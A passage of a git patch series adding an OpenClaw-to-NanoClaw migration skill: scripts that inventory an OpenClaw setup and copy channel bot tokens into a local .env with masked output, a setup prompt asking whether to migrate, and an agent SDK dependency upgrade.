configPaths.push(agentWs.startsWith('~') ? path.join(os.homedir(), agentWs.slice(1)) : agentWs); + const defaultsWs = ((config.agents as Record | undefined)?.defaults as Record | undefined)?.workspace as string | undefined; + if (defaultsWs) configPaths.push(defaultsWs.startsWith('~') ? path.join(os.homedir(), defaultsWs.slice(1)) : defaultsWs); + } + + // Check config-specified paths, then default locations + const candidates = [ + ...configPaths, + ...['workspace', 'workspace.default'].map((n) => path.join(stateDir, n)), + ]; + + for (const ws of candidates) { + if (fs.existsSync(ws) && fs.statSync(ws).isDirectory()) { + const found = WORKSPACE_FILES.filter((f) => + fs.existsSync(path.join(ws, f)), + ); + if (found.length > 0) { + return { dir: ws, files: found }; + } + } + } + + // Check agent-specific workspaces + const agentsDir = path.join(stateDir, 'agents'); + if (fs.existsSync(agentsDir)) { + for (const agentId of fs.readdirSync(agentsDir)) { + for (const wsName of ['workspace', 'workspace.default']) { + const ws = path.join(agentsDir, agentId, wsName); + if (fs.existsSync(ws) && fs.statSync(ws).isDirectory()) { + const found = WORKSPACE_FILES.filter((f) => + fs.existsSync(path.join(ws, f)), + ); + if (found.length > 0) { + return { dir: ws, files: found }; + } + } + } + } + } + + return { dir: null, files: [] }; +} + +// --------------------------------------------------------------------------- +// Daily memory file detection +// --------------------------------------------------------------------------- + +function countDailyMemoryFiles(workspaceDir: string | null): number { + if (!workspaceDir) return 0; + const memoryDir = path.join(workspaceDir, 'memory'); + if (!fs.existsSync(memoryDir) || !fs.statSync(memoryDir).isDirectory()) { + return 0; + } + try { + return fs + .readdirSync(memoryDir) + .filter((f) => f.endsWith('.md')) + .length; + } catch { + return 0; + } +} + +// --------------------------------------------------------------------------- +// Skills detection +// --------------------------------------------------------------------------- + +interface SkillInfo { + name: string; + source: string; // 'workspace' | 'shared' | 'personal' | 'project' + path: string; +} + +function detectSkills( + stateDir: string, + workspaceDir: string | null, +): SkillInfo[] { + const skills: SkillInfo[] = []; + const seen = new Set(); + + const scanDir = (dir: string, source: string) => { + if (!fs.existsSync(dir) || !fs.statSync(dir).isDirectory()) return; + try { + for (const entry of fs.readdirSync(dir)) { + const skillDir = path.join(dir, entry); + if (!fs.statSync(skillDir).isDirectory()) continue; + // A directory is a skill if it contains SKILL.md + if (fs.existsSync(path.join(skillDir, 'SKILL.md'))) { + if (seen.has(entry)) continue; + seen.add(entry); + skills.push({ name: entry, source, path: skillDir }); + } + } + } catch { + // ignore read errors + } + }; + + // 1. Workspace skills + if (workspaceDir) { + scanDir(path.join(workspaceDir, 'skills'), 'workspace'); + // 4. Project-level shared skills + scanDir(path.join(workspaceDir, '.agents', 'skills'), 'project'); + } + + // 2. Managed/shared skills + scanDir(path.join(stateDir, 'skills'), 'shared'); + + // 3. Personal cross-project skills + const personalSkills = path.join(os.homedir(), '.agents', 'skills'); + scanDir(personalSkills, 'personal'); + + return skills; +} + +// --------------------------------------------------------------------------- +// Identity extraction +// --------------------------------------------------------------------------- + +function extractIdentityName(stateDir: string, workspaceDir: string | null): string { + if (!workspaceDir) return ''; + + const identityPath = path.join(workspaceDir, 'IDENTITY.md'); + if (!fs.existsSync(identityPath)) return ''; + + try { + const content = fs.readFileSync(identityPath, 'utf-8'); + // IDENTITY.md uses key:value format, e.g. "name: Claw" + const match = content.match(/^name:\s*(.+)/im); + return match ? match[1].trim() : ''; + } catch { + return ''; + } +} + +// --------------------------------------------------------------------------- +// Agent detection +// --------------------------------------------------------------------------- + +function detectAgents(stateDir: string): string[] { + const agentsDir = path.join(stateDir, 'agents'); + if (!fs.existsSync(agentsDir)) return []; + + try { + return fs + .readdirSync(agentsDir) + .filter((f) => { + const p = path.join(agentsDir, f); + return fs.statSync(p).isDirectory() && !f.startsWith('.'); + }); + } catch { + return []; + } +} + +// --------------------------------------------------------------------------- +// Group detection — from session store and channel config +// --------------------------------------------------------------------------- + +interface GroupInfo { + channel: string; + id: string; // Platform-specific ID (WhatsApp JID, Telegram chat ID, etc.) + name: string; + source: 'session' | 'config'; +} + +/** + * Map OpenClaw session key channel:kind:id to NanoClaw JID format. + * OpenClaw keys: "whatsapp:group:120...@g.us", "telegram:group:-10012345" + * NanoClaw JIDs: "120...@g.us", "tg:-10012345", "dc:12345", "slack:C12345" + */ +function toNanoClawJid(channel: string, id: string): string { + switch (channel) { + case 'whatsapp': + return id; // Already in JID format (120...@g.us) + case 'telegram': + return `tg:${id}`; + case 'discord': + return `dc:${id}`; + case 'slack': + return `slack:${id}`; + default: + return `${channel}:${id}`; + } +} + +function detectGroups( + stateDir: string, + config: Record | null, + agents: string[], +): GroupInfo[] { + const groups: GroupInfo[] = []; + const seen = new Set(); + + // Source 1: Session store — scan for group session keys + for (const agentId of agents) { + const sessionsPath = path.join( + stateDir, + 'agents', + agentId, + 'sessions', + 'sessions.json', + ); + if (!fs.existsSync(sessionsPath)) continue; + + try { + const raw = fs.readFileSync(sessionsPath, 'utf-8'); + const data = JSON.parse(raw) as Record; + + // Sessions can be stored as an object with session keys, or as + // { sessions: { key: entry } } or { entries: [...] } + const entries = + (data.sessions as Record) ?? + (data.entries as Record) ?? + data; + + for (const [key, value] of Object.entries(entries)) { + // Match session keys like "whatsapp:group:120...@g.us" + // or prefixed "agent:main:whatsapp:group:120...@g.us" + // Also match DM sessions: "whatsapp:dm:number@s.whatsapp.net" + const match = key.match(/(\w+):(group|dm|channel):(.+)$/i); + if (!match) continue; + + const [, channel, kind, id] = match; + // Skip DM sessions for group detection — they're individual chats + if (kind === 'dm') continue; + const dedupKey = `${channel}:${id}`; + if (seen.has(dedupKey)) continue; + seen.add(dedupKey); + + // Try to extract display name from session entry + let name = ''; + if (value && typeof value === 'object') { + const entry = value as Record; + name = + (entry.displayName as string) ?? + (entry.label as string) ?? + (entry.subject as string) ?? + ''; + } + + groups.push({ + channel, + id, + name: name || id, + source: 'session', + }); + } + } catch { + // Ignore parse errors + } + } + + // Source 2: Channel config — groups explicitly configured + if (config) { + const channels = + (config.channels as Record | undefined) ?? {}; + for (const [channelName, channelSection] of Object.entries(channels)) { + if (!channelSection || typeof channelSection !== 'object') continue; + const ch = channelSection as Record; + + // WhatsApp/Telegram: channels..groups. + const configGroups = ch.groups as Record | undefined; + if (configGroups) { + for (const groupId of Object.keys(configGroups)) { + const dedupKey = `${channelName}:${groupId}`; + if (seen.has(dedupKey)) continue; + seen.add(dedupKey); + groups.push({ + channel: channelName, + id: groupId, + name: groupId, + source: 'config', + }); + } + } + + // Discord: channels.discord.guilds. + if (channelName === 'discord') { + const guilds = ch.guilds as Record | undefined; + if (guilds) { + for (const guildId of Object.keys(guilds)) { + const dedupKey = `discord:${guildId}`; + if (seen.has(dedupKey)) continue; + seen.add(dedupKey); + groups.push({ + channel: 'discord', + id: guildId, + name: guildId, + source: 'config', + }); + } + } + } + } + } + + return groups; +} + +// --------------------------------------------------------------------------- +// Cron job counting +// --------------------------------------------------------------------------- + +function countCronJobs(stateDir: string): { + count: number; + summaries: string[]; +} { + const jobsPath = path.join(stateDir, 'cron', 'jobs.json'); + if (!fs.existsSync(jobsPath)) return { count: 0, summaries: [] }; + + try { + const raw = fs.readFileSync(jobsPath, 'utf-8'); + const data = JSON.parse(raw) as { + jobs?: Array<{ name?: string; enabled?: boolean }>; + }; + const jobs = data.jobs ?? []; + const summaries = jobs + .filter((j) => j.enabled !== false) + .map((j) => j.name || 'unnamed') + .slice(0, 10); + return { count: jobs.length, summaries }; + } catch { + return { count: 0, summaries: [] }; + } +} + +// --------------------------------------------------------------------------- +// Config-registered plugins and skills (with API keys) +// --------------------------------------------------------------------------- + +interface ConfigPlugin { + name: string; + source: 'skills.entries' | 'plugins.entries'; + hasApiKey: boolean; +} + +function detectConfigPlugins( + config: Record, +): ConfigPlugin[] { + const results: ConfigPlugin[] = []; + + // Check skills.entries (e.g. openai-whisper-api with apiKey) + const skills = config.skills as Record | undefined; + const skillEntries = skills?.entries as Record | undefined; + if (skillEntries) { + for (const [name, entry] of Object.entries(skillEntries)) { + if (!entry || typeof entry !== 'object') continue; + const e = entry as Record; + const hasKey = !!(e.apiKey || e.token || e.key); + results.push({ name, source: 'skills.entries', hasApiKey: hasKey }); + } + } + + // Check plugins.entries (e.g. brave with config.webSearch.apiKey) + const plugins = config.plugins as Record | undefined; + const pluginEntries = plugins?.entries as Record | undefined; + if (pluginEntries) { + for (const [name, entry] of Object.entries(pluginEntries)) { + if (!entry || typeof entry !== 'object') continue; + // Deep-search for apiKey in nested config + const hasKey = JSON.stringify(entry).includes('apiKey'); + results.push({ name, source: 'plugins.entries', hasApiKey: hasKey }); + } + } + + return results; +} + +// --------------------------------------------------------------------------- +// MCP server detection +// --------------------------------------------------------------------------- + +function detectMcpServers( + config: Record, +): string[] { + const mcp = config.mcp as Record | undefined; + if (!mcp) return []; + const servers = mcp.servers as Record | undefined; + if (!servers) return []; + return Object.keys(servers); +} + +// --------------------------------------------------------------------------- +// Main +// --------------------------------------------------------------------------- + +function main(): void { + const { stateDir: explicitDir } = parseArgs(); + const stateDir = resolveStateDir(explicitDir); + + if (!stateDir) { + emitStatus({ STATUS: 'not_found' }); + return; + } + + const config = loadConfig(stateDir); + const channels = config ? detectChannels(config) : []; + const { dir: workspaceDir, files: workspaceFiles } = + findWorkspace(stateDir, config); + const identityName = extractIdentityName(stateDir, workspaceDir); + const agents = detectAgents(stateDir); + const groups = detectGroups(stateDir, config, agents); + const { count: cronCount, summaries: cronSummaries } = + countCronJobs(stateDir); + const mcpServers = config ? detectMcpServers(config) : []; + const dailyMemoryFiles = countDailyMemoryFiles(workspaceDir); + const skills = detectSkills(stateDir, workspaceDir); + const configPlugins = config ? detectConfigPlugins(config) : []; + + // Format channels as "name(has_creds)" or "name(no_creds)" + const channelList = channels + .map((c) => `${c.name}(${c.hasCreds ? 'has_creds' : 'no_creds'})`) + .join(','); + + // Separate supported vs unsupported + const unsupported = channels + .filter((c) => !SUPPORTED_CHANNELS.has(c.name)) + .map((c) => c.name) + .join(','); + + // Format groups as "channel:id(name)" — also include NanoClaw JID mapping + const groupList = groups + .map( + (g) => + `${g.channel}:${g.id}(${g.name})=>${toNanoClawJid(g.channel, g.id)}`, + ) + .join('|'); + + // Format skills as "name(source)" list + const skillList = skills + .map((s) => `${s.name}(${s.source})`) + .join(','); + + // Dump raw top-level config keys so Claude can see what exists + // beyond what this script specifically detects + const configTopKeys = config ? Object.keys(config).sort().join(',') : 'none'; + const configChannelKeys = config?.channels + ? Object.keys(config.channels as Record).sort().join(',') + : 'none'; + + // List files/dirs at the state dir root for manual inspection + let stateDirContents = 'unknown'; + try { + stateDirContents = fs + .readdirSync(stateDir) + .filter((f) => !f.startsWith('.')) + .sort() + .join(','); + } catch { + // ignore + } + + emitStatus({ + STATUS: 'found', + STATE_DIR: stateDir, + CONFIG_FOUND: config !== null, + CONFIG_TOP_KEYS: configTopKeys, + CONFIG_CHANNEL_KEYS: configChannelKeys, + STATE_DIR_CONTENTS: stateDirContents, + CHANNELS: channelList || 'none', + UNSUPPORTED_CHANNELS: unsupported || 'none', + WORKSPACE_DIR: workspaceDir || 'not_found', + WORKSPACE_FILES: workspaceFiles.join(',') || 'none', + IDENTITY_NAME: identityName || 'unknown', + AGENT_COUNT: agents.length, + AGENT_IDS: agents.join(',') || 'none', + GROUPS: groupList || 'none', + GROUP_COUNT: groups.length, + DAILY_MEMORY_FILES: dailyMemoryFiles, + SKILL_COUNT: skills.length, + SKILLS: skillList || 'none', + CONFIG_PLUGINS: configPlugins.map((p) => `${p.name}(${p.source}${p.hasApiKey ? ',has_key' : ''})`).join(',') || 'none', + CONFIG_PLUGIN_COUNT: configPlugins.length, + CRON_JOBS: cronCount, + CRON_SUMMARIES: cronSummaries.join('|') || 'none', + MCP_SERVERS: mcpServers.join(',') || 'none', + }); +} + +main(); diff --git a/.claude/skills/migrate-from-openclaw/scripts/extract-channel-credentials.ts b/.claude/skills/migrate-from-openclaw/scripts/extract-channel-credentials.ts new file mode 100644 index 0000000..b8959ba --- /dev/null +++ b/.claude/skills/migrate-from-openclaw/scripts/extract-channel-credentials.ts @@ -0,0 +1,476 @@ +/** + * Extract a channel credential from an OpenClaw configuration and write it + * directly to the NanoClaw .env file. + * + * Usage: npx tsx .claude/skills/migrate-from-openclaw/scripts/extract-channel-credentials.ts \ + * --channel telegram --state-dir ~/.openclaw --write-env .env + * + * Handles OpenClaw SecretRef formats: + * - Plain string: "bot-token-value" + * - Env template: "${TELEGRAM_BOT_TOKEN}" + * - SecretRef object: { source: "env", provider: "default", id: "TELEGRAM_BOT_TOKEN" } + * + * Also reads /.env for env-based secrets. + * + * Credential values are NEVER emitted to stdout — only masked versions. + * When --write-env is provided, the script writes credentials directly to + * the target .env file so the agent never sees raw secrets. + * + * Emits a status block on stdout: + * === NANOCLAW MIGRATE: CREDENTIAL === + * ... + * === END === + */ + +import fs from 'fs'; +import os from 'os'; +import path from 'path'; + +// --------------------------------------------------------------------------- +// JSON5-tolerant parser (same as discover script) +// --------------------------------------------------------------------------- + +function parseJson5(text: string): unknown { + let cleaned = text.replace( + /("(?:[^"\\]|\\.)*")|\/\/[^\n]*/g, + (match, str) => (str ? str : ''), + ); + cleaned = cleaned.replace( + /("(?:[^"\\]|\\.)*")|\/\*[\s\S]*?\*\//g, + (match, str) => (str ? str : ''), + ); + cleaned = cleaned.replace(/,\s*([}\]])/g, '$1'); + return JSON.parse(cleaned); +} + +// --------------------------------------------------------------------------- +// Inline dotenv parser (reads key=value, skips comments) +// --------------------------------------------------------------------------- + +function parseDotenv(filePath: string): Record { + const env: Record = {}; + if (!fs.existsSync(filePath)) return env; + + const lines = fs.readFileSync(filePath, 'utf-8').split('\n'); + for (const line of lines) { + const trimmed = line.trim(); + if (!trimmed || trimmed.startsWith('#')) continue; + const eqIdx = trimmed.indexOf('='); + if (eqIdx === -1) continue; + const key = trimmed.slice(0, eqIdx).trim(); + let value = trimmed.slice(eqIdx + 1).trim(); + // Strip surrounding quotes + if ( + (value.startsWith('"') && value.endsWith('"')) || + (value.startsWith("'") && value.endsWith("'")) + ) { + value = value.slice(1, -1); + } + env[key] = value; + } + return env; +} + +// --------------------------------------------------------------------------- +// Status block emitter +// --------------------------------------------------------------------------- + +function emitStatus(fields: Record): void { + const lines = ['=== NANOCLAW MIGRATE: CREDENTIAL ===']; + for (const [key, value] of Object.entries(fields)) { + lines.push(`${key}: ${value}`); + } + lines.push('=== END ==='); + console.log(lines.join('\n')); +} + +// --------------------------------------------------------------------------- +// Credential masking +// --------------------------------------------------------------------------- + +function maskCredential(value: string): string { + if (value.length < 10) return '****'; + return `${value.slice(0, 4)}...${value.slice(-4)}`; +} + +// --------------------------------------------------------------------------- +// SecretRef resolution +// --------------------------------------------------------------------------- + +interface SecretRef { + source: string; + provider?: string; + id: string; +} + +function resolveSecretInput( + value: unknown, + dotenvVars: Record, +): { resolved: string | null; source: string; note?: string } { + if (!value) return { resolved: null, source: 'missing' }; + + // Plain string + if (typeof value === 'string') { + // Check for env template: "${VAR_NAME}" + const envMatch = value.match(/^\$\{([^}]+)\}$/); + if (envMatch) { + const envKey = envMatch[1]; + const envVal = + dotenvVars[envKey] ?? process.env[envKey] ?? null; + if (envVal) { + return { resolved: envVal, source: 'env_template' }; + } + return { + resolved: null, + source: 'env_template', + note: `Environment variable ${envKey} not found`, + }; + } + + // Plain literal value + return { resolved: value, source: 'plain' }; + } + + // SecretRef object + if (typeof value === 'object' && value !== null) { + const ref = value as SecretRef; + if (ref.source === 'env') { + const envVal = + dotenvVars[ref.id] ?? process.env[ref.id] ?? null; + if (envVal) { + return { resolved: envVal, source: 'env_ref' }; + } + return { + resolved: null, + source: 'env_ref', + note: `Environment variable ${ref.id} not found`, + }; + } + if (ref.source === 'file') { + return { + resolved: null, + source: 'file_ref', + note: `File-based secret (${ref.id}) — cannot auto-extract, add manually`, + }; + } + if (ref.source === 'exec') { + return { + resolved: null, + source: 'exec_ref', + note: `Exec-based secret (${ref.id}) — cannot auto-extract, add manually`, + }; + } + } + + return { resolved: null, source: 'unknown' }; +} + +// --------------------------------------------------------------------------- +// Channel credential mapping +// --------------------------------------------------------------------------- + +interface ChannelCredentialSpec { + // Fields to look for in the channel config + fields: string[]; + // Corresponding NanoClaw env var names + envVars: string[]; +} + +const CHANNEL_SPECS: Record = { + telegram: { + fields: ['botToken'], + envVars: ['TELEGRAM_BOT_TOKEN'], + }, + discord: { + fields: ['token'], + envVars: ['DISCORD_BOT_TOKEN'], + }, + slack: { + fields: ['botToken', 'appToken'], + envVars: ['SLACK_BOT_TOKEN', 'SLACK_APP_TOKEN'], + }, + whatsapp: { + fields: [], // Auth-state based, no token field + envVars: [], + }, +}; + +// --------------------------------------------------------------------------- +// CLI arg parsing +// --------------------------------------------------------------------------- + +function parseArgs(): { channel: string; stateDir: string; writeEnv: string } { + const args = process.argv.slice(2); + let channel = ''; + let stateDir = ''; + let writeEnv = ''; + + for (let i = 0; i < args.length; i++) { + if (args[i] === '--channel' && args[i + 1]) { + channel = args[++i].toLowerCase(); + } + if (args[i] === '--state-dir' && args[i + 1]) { + stateDir = args[++i]; + } + if (args[i] === '--write-env' && args[i + 1]) { + writeEnv = args[++i]; + } + } + + if (!channel) { + console.error('Usage: --channel --state-dir [--write-env ]'); + process.exit(1); + } + + // Expand ~ prefix + if (stateDir.startsWith('~')) { + stateDir = path.join(os.homedir(), stateDir.slice(1)); + } + + // Default state dir + if (!stateDir) { + const home = os.homedir(); + if (fs.existsSync(path.join(home, '.openclaw'))) { + stateDir = path.join(home, '.openclaw'); + } else if (fs.existsSync(path.join(home, '.clawdbot'))) { + stateDir = path.join(home, '.clawdbot'); + } else { + console.error( + 'No OpenClaw directory found. Use --state-dir to specify.', + ); + process.exit(1); + } + } + + return { channel, stateDir, writeEnv }; +} + +// --------------------------------------------------------------------------- +// .env writer — appends or replaces a KEY=VALUE line +// --------------------------------------------------------------------------- + +function writeEnvVar(envPath: string, key: string, value: string): void { + let content = ''; + if (fs.existsSync(envPath)) { + content = fs.readFileSync(envPath, 'utf-8'); + } + + const pattern = new RegExp(`^${key}=.*$`, 'm'); + const line = `${key}="${value}"`; + + if (pattern.test(content)) { + content = content.replace(pattern, line); + } else { + content = content.trimEnd() + (content ? '\n' : '') + line + '\n'; + } + + fs.writeFileSync(envPath, content); +} + +// --------------------------------------------------------------------------- +// Main +// --------------------------------------------------------------------------- + +function main(): void { + const { channel, stateDir, writeEnv } = parseArgs(); + const spec = CHANNEL_SPECS[channel]; + + // Load dotenv from state dir + const dotenvVars = parseDotenv(path.join(stateDir, '.env')); + + // Also check auth-profiles.json for API keys + const authProfilesPath = path.join(stateDir, 'auth-profiles.json'); + let authProfiles: Record = {}; + if (fs.existsSync(authProfilesPath)) { + try { + authProfiles = JSON.parse( + fs.readFileSync(authProfilesPath, 'utf-8'), + ) as Record; + } catch { + // Ignore parse errors + } + } + + // WhatsApp special case: no token, auth-state based. + // OpenClaw stores Baileys auth at /credentials/whatsapp// + // using useMultiFileAuthState (same as NanoClaw). The files are directly compatible. + if (channel === 'whatsapp') { + const authPaths = [ + path.join(stateDir, 'credentials', 'whatsapp', 'default'), + path.join(stateDir, 'credentials', 'whatsapp'), + path.join(stateDir, 'wa-auth'), + ]; + + // Also scan credentials/whatsapp/ for any account subdirectory + const waCredsDir = path.join(stateDir, 'credentials', 'whatsapp'); + if (fs.existsSync(waCredsDir)) { + try { + for (const entry of fs.readdirSync(waCredsDir)) { + const candidate = path.join(waCredsDir, entry); + if (fs.statSync(candidate).isDirectory()) { + authPaths.push(candidate); + } + } + } catch { + // ignore + } + } + let authStatePath = ''; + for (const p of authPaths) { + // Look for creds.json inside the directory — that confirms valid Baileys auth state + if (fs.existsSync(path.join(p, 'creds.json'))) { + authStatePath = p; + break; + } + } + + emitStatus({ + CHANNEL: 'whatsapp', + HAS_CREDENTIAL: false, + CREDENTIAL_SOURCE: 'auth_state', + NOTE: authStatePath + ? `Baileys auth state found at ${authStatePath}. May not be portable across versions — recommend re-authenticating.` + : 'No WhatsApp auth state found. Will need to authenticate during setup.', + AUTH_STATE_PATH: authStatePath || 'not_found', + }); + return; + } + + // Unknown channel + if (!spec) { + emitStatus({ + CHANNEL: channel, + HAS_CREDENTIAL: false, + NOTE: `Channel "${channel}" is not supported by NanoClaw. Supported: telegram, discord, slack, whatsapp.`, + }); + return; + } + + // Load OpenClaw config + let config: Record | null = null; + for (const name of ['openclaw.json', 'clawdbot.json']) { + const configPath = path.join(stateDir, name); + if (fs.existsSync(configPath)) { + try { + config = parseJson5( + fs.readFileSync(configPath, 'utf-8'), + ) as Record; + break; + } catch { + // Try next + } + } + } + + if (!config) { + emitStatus({ + CHANNEL: channel, + HAS_CREDENTIAL: false, + NOTE: 'Could not load openclaw.json', + }); + return; + } + + const channels = + (config.channels as Record | undefined) ?? {}; + const channelConfig = + (channels[channel] as Record | undefined) ?? {}; + + // Try to resolve each credential field + const results: Array<{ + envVar: string; + resolved: string | null; + masked: string; + source: string; + note?: string; + }> = []; + + for (let i = 0; i < spec.fields.length; i++) { + const field = spec.fields[i]; + const envVar = spec.envVars[i]; + + // Check top-level channel config first + let rawValue = channelConfig[field]; + + // If not found, check first account + if (!rawValue && channelConfig.accounts) { + const accounts = channelConfig.accounts as Record; + const firstAccount = Object.values(accounts)[0] as + | Record + | undefined; + if (firstAccount) { + rawValue = firstAccount[field]; + } + } + + const { resolved, source, note } = resolveSecretInput( + rawValue, + dotenvVars, + ); + results.push({ + envVar, + resolved, + masked: resolved ? maskCredential(resolved) : '', + source, + note, + }); + } + + // Emit results for the primary credential + const primary = results[0]; + if (!primary) { + emitStatus({ + CHANNEL: channel, + HAS_CREDENTIAL: false, + NOTE: `No credential fields defined for ${channel}`, + }); + return; + } + + // If --write-env is set and credentials were resolved, write directly to .env. + // Credential values never appear in stdout. + let written = 0; + if (writeEnv) { + for (const r of results) { + if (r.resolved) { + writeEnvVar(writeEnv, r.envVar, r.resolved); + written++; + } + } + } + + const fields: Record = { + CHANNEL: channel, + HAS_CREDENTIAL: !!primary.resolved, + CREDENTIAL_SOURCE: primary.source, + CREDENTIAL_MASKED: primary.masked || 'none', + NANOCLAW_ENV_VAR: primary.envVar, + }; + + if (writeEnv && written > 0) { + fields.WRITTEN_TO = writeEnv; + fields.WRITTEN_COUNT = written; + } + if (primary.note) { + fields.NOTE = primary.note; + } + + // Additional credentials (e.g. Slack has botToken + appToken) + if (results.length > 1) { + for (let i = 1; i < results.length; i++) { + const extra = results[i]; + const suffix = `_${i + 1}`; + fields[`HAS_CREDENTIAL${suffix}`] = !!extra.resolved; + fields[`CREDENTIAL_SOURCE${suffix}`] = extra.source; + fields[`CREDENTIAL_MASKED${suffix}`] = extra.masked || 'none'; + fields[`NANOCLAW_ENV_VAR${suffix}`] = extra.envVar; + if (extra.note) { + fields[`NOTE${suffix}`] = extra.note; + } + } + } + + emitStatus(fields); +} + +main(); diff --git a/.claude/skills/setup/SKILL.md b/.claude/skills/setup/SKILL.md index fb13c05..7b99074 100644 --- a/.claude/skills/setup/SKILL.md +++ b/.claude/skills/setup/SKILL.md @@ -70,6 +70,22 @@ Run `npx tsx setup/index.ts --step environment` and parse the status block. - If HAS_REGISTERED_GROUPS=true → note existing config, offer to skip or reconfigure - Record APPLE_CONTAINER and DOCKER values for step 3 +### OpenClaw Migration Detection + +Check for an existing OpenClaw installation: + +```bash +ls -d ~/.openclaw 2>/dev/null || ls -d ~/.clawdbot 2>/dev/null +``` + +If a directory is found, AskUserQuestion: + +1. **Migrate now** — "Import identity, credentials, and settings from OpenClaw before continuing setup." +2. **Fresh start** — "Skip migration and set up NanoClaw from scratch." +3. **Migrate later** — "Continue setup now, run `/migrate-from-openclaw` anytime later." + +If "Migrate now": invoke `/migrate-from-openclaw`, then return here and continue at step 2a (Timezone). + ## 2a. Timezone Run `npx tsx setup/index.ts --step timezone` and parse the status block. From db3440f6625a767116288e546f7ddf520ecb856f Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 4 Apr 2026 23:47:17 +0300 Subject: [PATCH 029/485] feat: upgrade agent SDK to 0.2.92 with 1M context and 200k auto-compact Use sonnet[1m] for full 1M context window and set auto-compact at 200k tokens to keep costs down while preserving access to extended context. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/package-lock.json | 66 +++++++++++++++++++++--- container/agent-runner/package.json | 2 +- container/agent-runner/src/index.ts | 6 ++- 3 files changed, 65 insertions(+), 9 deletions(-) diff --git a/container/agent-runner/package-lock.json b/container/agent-runner/package-lock.json index 9ae119b..5835e1c 100644 --- a/container/agent-runner/package-lock.json +++ b/container/agent-runner/package-lock.json @@ -8,7 +8,7 @@ "name": "nanoclaw-agent-runner", "version": "1.0.0", "dependencies": { - "@anthropic-ai/claude-agent-sdk": "^0.2.76", + "@anthropic-ai/claude-agent-sdk": "^0.2.92", "@modelcontextprotocol/sdk": "^1.12.1", "cron-parser": "^5.0.0", "zod": "^4.0.0" @@ -19,10 +19,14 @@ } }, "node_modules/@anthropic-ai/claude-agent-sdk": { - "version": "0.2.76", - "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.2.76.tgz", - "integrity": "sha512-HZxvnT8ZWkzCnQygaYCA0dl8RSUzuVbxE1YG4ecy6vh4nQbTT36CxUxBy+QVdR12pPQluncC0mCOLhI2918Eaw==", + "version": "0.2.92", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk/-/claude-agent-sdk-0.2.92.tgz", + "integrity": "sha512-loYyxVUC5gBwHjGi9Fv0b84mduJTp9Z3Pum+y/7IVQDb4NynKfVQl6l4VeDKZaW+1QTQtd25tY4hwUznD7Krqw==", "license": "SEE LICENSE IN README.md", + "dependencies": { + "@anthropic-ai/sdk": "^0.80.0", + "@modelcontextprotocol/sdk": "^1.27.1" + }, "engines": { "node": ">=18.0.0" }, @@ -41,6 +45,35 @@ "zod": "^4.0.0" } }, + "node_modules/@anthropic-ai/sdk": { + "version": "0.80.0", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.80.0.tgz", + "integrity": "sha512-WeXLn7zNVk3yjeshn+xZHvld6AoFUOR3Sep6pSoHho5YbSi6HwcirqgPA5ccFuW8QTVJAAU7N8uQQC6Wa9TG+g==", + "license": "MIT", + "dependencies": { + "json-schema-to-ts": "^3.1.1" + }, + "bin": { + "anthropic-ai-sdk": "bin/cli" + }, + "peerDependencies": { + "zod": "^3.25.0 || ^4.0.0" + }, + "peerDependenciesMeta": { + "zod": { + "optional": true + } + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz", + "integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, "node_modules/@hono/node-server": { "version": "1.19.9", "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.9.tgz", @@ -358,9 +391,9 @@ } }, "node_modules/@modelcontextprotocol/sdk": { - "version": "1.26.0", - "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.26.0.tgz", - "integrity": "sha512-Y5RmPncpiDtTXDbLKswIJzTqu2hyBKxTNsgKqKclDbhIgg1wgtf1fRuvxgTnRfcnxtvvgbIEcqUOzZrJ6iSReg==", + "version": "1.29.0", + "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.29.0.tgz", + "integrity": "sha512-zo37mZA9hJWpULgkRpowewez1y6ML5GsXJPY8FI0tBBCd77HEvza4jDqRKOXgHNn867PVGCyTdzqpz0izu5ZjQ==", "license": "MIT", "dependencies": { "@hono/node-server": "^1.19.9", @@ -1013,6 +1046,19 @@ "url": "https://github.com/sponsors/panva" } }, + "node_modules/json-schema-to-ts": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", + "integrity": "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "ts-algebra": "^2.0.0" + }, + "engines": { + "node": ">=16" + } + }, "node_modules/json-schema-traverse": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", @@ -1428,6 +1474,12 @@ "node": ">=0.6" } }, + "node_modules/ts-algebra": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", + "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", + "license": "MIT" + }, "node_modules/type-is": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.0.1.tgz", diff --git a/container/agent-runner/package.json b/container/agent-runner/package.json index 42a994e..35ebc22 100644 --- a/container/agent-runner/package.json +++ b/container/agent-runner/package.json @@ -9,7 +9,7 @@ "start": "node dist/index.js" }, "dependencies": { - "@anthropic-ai/claude-agent-sdk": "^0.2.76", + "@anthropic-ai/claude-agent-sdk": "^0.2.92", "@modelcontextprotocol/sdk": "^1.12.1", "cron-parser": "^5.0.0", "zod": "^4.0.0" diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index e0d6ff6..7f32f9a 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -449,6 +449,7 